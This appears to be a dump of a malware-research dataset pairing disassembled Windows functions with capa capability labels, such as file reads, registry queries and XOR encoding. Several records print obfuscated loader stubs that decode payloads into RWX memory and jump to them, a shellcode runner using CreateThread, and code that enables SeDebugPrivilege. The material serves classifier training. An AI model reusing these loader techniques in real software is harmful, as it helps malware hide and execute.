joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100e1935
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x101266c8]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100e1975
cmp byte [ebx], 0xa
jne 0x100e1975
or byte [eax + edi + 0x28], 4
jmp 0x100e197a
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x100e1a78
mov al, byte [edx]
cmp al, 0x1a
je 0x100e1a5a
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x100e19a9
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x100e19ce
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x100e19d8
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x100e198b
jmp 0x100e1a78
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100e1a55
cmp dword [ebp - 0xc], 0
je 0x100e1a55
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x101266c8]
test byte [eax + edi + 0x28], 0x48
je 0x100e1a2f
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x100e1a1a
mov byte [esi], dl
jmp 0x100e1a2b
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x101266c8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x100e1a78
cmp byte [ebp - 1], 0xa
jne 0x100e1a3e
cmp esi, ebx
jne 0x100e1a3e
mov byte [esi], 0xa
jmp 0x100e1a77
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.100e24b5
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x100e1a78
mov byte [esi], 0xd
jmp 0x100e1a77
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x101266c8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x100e1a74
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x100e1a78
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x100e1a81
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x101266c8]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100e1ac4
cmp word [esi], dx
jne 0x100e1ac4
or byte [edi + eax + 0x28], 4
jmp 0x100e1ac9
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x100e1c1c
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x100e1bfc
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x100e1b0b
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x100e1b41
cmp eax, edx
jae 0x100e1b4d
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x100e1ae3
jmp 0x100e1c1c
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100e1bf8
cmp dword [ebp - 0x14], 0
je 0x100e1bf8
mov eax, dword [ebx*4 + 0x101266c8]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x100e1bd0
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x100e1b99
mov word [esi], cx
jmp 0x100e1bcc
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x101266c8]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x101266c8]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x101266c8]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x100e1c1c
pop ebx
cmp word [ebp - 4], bx
jne 0x100e1be1
cmp esi, dword [ebp + 0xc]
jne 0x100e1be1
mov word [esi], bx
jmp 0x100e1c19
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.100e24b5
add esp, 0x10
cmp word [ebp - 4], bx
je 0x100e1c1c
push 0xd
jmp 0x100e1c15
mov ecx, dword [ebx*4 + 0x101266c8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x100e1c13
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x100e1c1c
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x100e57e9
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x100e5886
push ebx
push esi
call fcn.100e57b2
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100e27c6
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100e5833
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100e5885
push edi
push eax
call fcn.100dcd82
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100e5853
call fcn.100dcceb
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100e5884
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100e27c6
add esp, 0x20
test eax, eax
jne 0x100e5872
push edi
call fcn.100dcceb
jmp 0x100e587a
push ebx
call fcn.100dcceb
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x100e5889
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x100e589a
pop esi
ret
push ebx
push edi
push esi
call fcn.100e57b2
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.100dcd82
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x100e58c2
push ebx
push esi
push edi
call fcn.100c79e0
add esp, 0xc
push 0
call fcn.100dcceb
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x100e5c86
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100e58d7
Function at 0x100ec551
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100ec4cd
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x100ec6c9
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x100ec6c9
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x100ec678
jg 0x100ec5aa
test eax, eax
je 0x100ec66e
push 1
push 0x1000
call fcn.100dcd25
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x100ec5d0
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x100ec665
push 0x8000
push ebx
call fcn.100ec3fe
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x100ec5fc
jg 0x100ec5f7
cmp ecx, 0x1000
jb 0x100ec5fc
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.100e0082
add esp, 0x10
cmp eax, 0xffffffff
je 0x100ec641
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x100ec5f7
jl 0x100ec628
test ecx, ecx
jne 0x100ec5e9
push dword [ebp - 0xc]
push ebx
call fcn.100ec3fe
push esi
call fcn.100dcceb
add esp, 0xc
xor edi, edi
jmp 0x100ec6da
cmp byte [edi + 0x24], 0
je 0x100ec658
cmp dword [edi + 0x20], 5
jne 0x100ec658
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x100ec663
mov edi, dword [edi + 0x18]
jmp 0x100ec665
xor edi, edi
push esi
call fcn.100dcceb
pop ecx
jmp 0x100ec6da
test ecx, ecx
jg 0x100ec63a
jl 0x100ec678
test eax, eax
jae 0x100ec63a
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100e24b5
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x100ec69b
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x100ec63a
jmp 0x100ec6d2
push ebx
call fcn.100e9dc0
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x100ec63a
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x100ec6da
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x100ec6d7
mov edi, dword [edi + 0x18]
jmp 0x100ec6da
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.100e24b5
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100edce0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100edd0d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100edd0d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x447b97
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00435071
and dword [ebp - 4], 0
cmp dword [0x46ae9c], 0
mov ebx, eax
jne 0x447c48
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x447cf9
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x447cf9
push eax
call fcn.00434fff
mov dword [esp], 0x460e00
push edi
mov dword [0x46ae9c], eax
call esi
push eax
call fcn.00434fff
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x46aea0], eax
call esi
push eax
call fcn.00434fff
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x46aea4], eax
call esi
push eax
call fcn.00434fff
pop ecx
mov dword [0x46aeac], eax
test eax, eax
je 0x447c48
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00434fff
pop ecx
mov dword [0x46aea8], eax
mov eax, dword [0x46aea8]
cmp eax, ebx
je 0x447ca0
cmp dword [0x46aeac], ebx
je 0x447ca0
push eax
call fcn.0043507a
push dword [0x46aeac]
mov esi, eax
call fcn.0043507a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x447ca0
test edi, edi
je 0x447ca0
call esi
test eax, eax
je 0x447c97
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x447c97
test byte [ebp - 0xc], 1
jne 0x447ca0
or dword [ebp + 0x10], 0x200000
jmp 0x447cd9
mov eax, dword [0x46aea0]
cmp eax, ebx
je 0x447cd9
push eax
call fcn.0043507a
pop ecx
test eax, eax
je 0x447cd9
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x447cd9
mov eax, dword [0x46aea4]
cmp eax, ebx
je 0x447cd9
push eax
call fcn.0043507a
pop ecx
test eax, eax
je 0x447cd9
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x46ae9c]
call fcn.0043507a
pop ecx
test eax, eax
je 0x447cf9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x447cfb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x402c00
pop dword [ebp - 0x44]
mov eax, 0xee5ce32f
sub eax, 0xee1cb72f
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x8af6eae2
sub dword [ebp - 0x54], 0x3ca4a597
mov dword [ebp - 0x50], 0x5a61de5c
sub dword [ebp - 0x50], 0x282e9217
mov dword [ebp - 0x4c], 0x4ba7ae27
add dword [ebp - 0x4c], 0xa49607
mov dword [ebp - 0x48], 0xd80d3c37
sub dword [ebp - 0x48], 0xd80d3c37
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x62999622
sub dword [ebp - 0x54], 0xee272ccc
mov dword [ebp - 0x50], 0xa54fbd7a
sub dword [ebp - 0x50], 0x63e35c05
mov dword [ebp - 0x4c], 0x70ef3ff7
add dword [ebp - 0x4c], 0xf2802c75
mov dword [ebp - 0x48], 0x3fba19d6
sub dword [ebp - 0x48], 0x3fba19d6
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x30ea72f6
sub eax, 0x30a9f222
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x35efa
push 0
call eax
mov ecx, 0xdbdb9594
add ecx, 0x2424af69
xor ebx, ebx
add ebx, eax
mov esi, 0x6d26d600
add esi, 0x931a3a00
add esi, dword [ebp - 0x44]
mov edi, 0x2c7f37c2
add edi, 0x3e165678
mov dword [ebp - 0x30], 0x9ce861ef
mov edx, dword [esi]
xor edx, edi
mov dword [ebx], edx
add dword [ebp - 0x34], ebx
add ebx, 0xbcfa56aa
sub ebx, 0xbcfa56a6
add esi, 4
loop 0x402d1f
add eax, 0x5d528976
add eax, 0xa2ae7d51
xor ebx, ebx
add ebx, eax
add eax, 0x3761a43a
add eax, 0xc89e5bcb
mov ecx, 0x400000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x100290a7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100290b6
pop dword [ebp - 0x10]
mov eax, 0x5c891494
add eax, 0xb3797c22
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x909b4712
sub dword [ebp - 0x20], 0x424901c7
mov dword [ebp - 0x1c], 0xbbada9ff
add dword [ebp - 0x1c], 0x7685a246
mov dword [ebp - 0x18], 0x928ba526
add dword [ebp - 0x18], 0xb9c09f08
mov dword [ebp - 0x14], 0x9ecff731
sub dword [ebp - 0x14], 0x9ecff731
lea eax, [ebp - 0x20]
push eax
mov eax, 0x2daddeff
add eax, 0xe256efe1
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x3fc7184a
sub dword [ebp - 0x20], 0xcb54aef4
mov dword [ebp - 0x1c], 0xd00127df
add dword [ebp - 0x1c], 0x716b3996
mov dword [ebp - 0x18], 0xe1f65f9d
sub dword [ebp - 0x18], 0x7e86f331
mov dword [ebp - 0x14], 0x50d60a5a
add dword [ebp - 0x14], 0xaf29f5a6
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3f968
push 0
call eax
mov ecx, 0x475b
xor edi, edi
add edi, eax
mov esi, 0x988218e3
add esi, 0x77839b1d
add esi, dword [ebp - 0x10]
mov ebx, 0xe5d9712c
sub dword [ebp - 0xc], 0xb03b2299
mov edx, dword [esi]
sub dword [ebp - 0xc], eax
add edx, ebx
sub dword [ebp - 0xc], esi
mov dword [edi], edx
xor dword [ebp - 4], 0x2c151f1a
add edi, 0x42cf008
add edi, 0xfbd30ffc
add esi, 0xda2b540a
sub esi, 0xda2b5406
loop 0x100291c9
add eax, 0xbcaa6ade
sub eax, 0xbca95a9f
mov ebx, eax
add eax, 5
mov ecx, sym.libEGL.dll_Ordinal_0
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0xc6c1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00c6c140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00c6c140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00c6c140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00c6c140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xc6cbfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xc6cc50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xc7e87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xc6cc43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xc6cc52
xor eax, eax
pop esi
leave
ret 4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401069
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x435030]
jne 0x401073
repz ret
jmp fcn.00401c51

Function at 0x408bad
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040499b
and dword [ebp - 4], 0
cmp dword [0x437850], 0
mov ebx, eax
jne 0x408c5e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x408d0f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x408d0f
push eax
call fcn.00404929
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x437850], eax
call esi
push eax
call fcn.00404929
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x437854], eax
call esi
push eax
call fcn.00404929
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x437858], eax
call esi
push eax
call fcn.00404929
pop ecx
mov dword [0x437860], eax
test eax, eax
je 0x408c5e
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404929
pop ecx
mov dword [0x43785c], eax
mov eax, dword [0x43785c]
cmp eax, ebx
je 0x408cb6
cmp dword [0x437860], ebx
je 0x408cb6
push eax
call fcn.004049a4
push dword [0x437860]
mov esi, eax
call fcn.004049a4
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x408cb6
test edi, edi
je 0x408cb6
call esi
test eax, eax
je 0x408cad
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x408cad
test byte [ebp - 0xc], 1
jne 0x408cb6
or dword [ebp + 0x10], 0x200000
jmp 0x408cef
mov eax, dword [0x437854]
cmp eax, ebx
je 0x408cef
push eax
call fcn.004049a4
pop ecx
test eax, eax
je 0x408cef
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x408cef
mov eax, dword [0x437858]
cmp eax, ebx
je 0x408cef
push eax
call fcn.004049a4
pop ecx
test eax, eax
je 0x408cef
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x437850]
call fcn.004049a4
pop ecx
test eax, eax
je 0x408d0f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408d11
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x330
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x32c], eax
push esi
push edi
mov ecx, 0xc7
mov esi, 0x4020f8
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
xor eax, eax
mov edi, edi
xor byte [esp + eax + 0x10], 0xa
inc eax
cmp eax, 0x31c
jl 0x401030
push 0x40
push 0x1000
push 0x31c
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x31c
lea eax, [esp + 0x14]
push eax
push esi
call sub.MSVCR90.dll_memcpy
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esp + 0x334]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00401099
mov esp, ebp
pop ebp
ret

Function at 0x401099
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x4010a3
repz ret
jmp fcn.00401354
Function at 0x4116e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x4116ef
pop dword [ebp - 0x4c]
mov eax, 0x4116ef
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3e38e
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0xca35ecb5
add ecx, 0x35ca5cf2
mov edi, eax
mov edx, 0x7c09e846
add edx, 0x84396bba
add edx, dword [ebp - 0x4c]
mov esi, 0xe8bfc8d1
sub esi, 0xc818e7c1
mov dword [ebp - 0x40], 0xb7dbaec7
mov ebx, dword [edx]
add dword [ebp - 0x48], 0x8604ee0a
xor ebx, esi
add dword [ebp - 0x2c], 0x5c261652
mov dword [edi], ebx
add edi, 0x317adb6d
sub edi, 0x317adb69
add edx, 0x6d12e624
add edx, 0x92ed19e0
loop 0x411744
add eax, 0x1196f
mov ebx, eax
add eax, 0xf701e10b
sub eax, 0xf701e106
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x40152e
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
lea eax, [ebp - 0x124]
mov dword [esp + 8], 1
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x120]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x10c]
mov dword [esp + 4], 1
mov dword [esp], eax
mov dword [ebp - 0x124], 0x14
mov byte [ebp - 0x10c], 0
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
movzx eax, word [ebp - 0x120]
sub esp, 0x14
leave
sub eax, 0x41
ret

Function at 0x40158a
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0xa0
mov dword [ebp - 0x88], 0
call fcn.0040152e
mov dword [esp], 0x401664
mov dword [ebp - 0x8c], 0
mov ebx, eax
lea eax, [ebp - 0x8c]
mov dword [esp + 0xc], eax
mov eax, ebx
or eax, 0x40
mov dword [esp + 8], eax
mov eax, 0x4020c6
sub eax, 0x401664
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x40162d
mov dword [esp], ebx
lea esi, [ebp - 0x88]
call fcn.0040144c
mov dword [esp], ebx
mov dword [esp + 4], esi
call fcn.004014ad
lea eax, [ebx + 0x1b600]
mov cl, bl
mov edx, 0x40300c
shl eax, cl
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov eax, edx
or eax, 1
imul ebx, eax
sub edx, ebx
mov dword [esp], edx
call fcn.00401dc9
lea esp, [ebp - 8]
xor eax, eax
pop ebx
pop esi
pop ebp
ret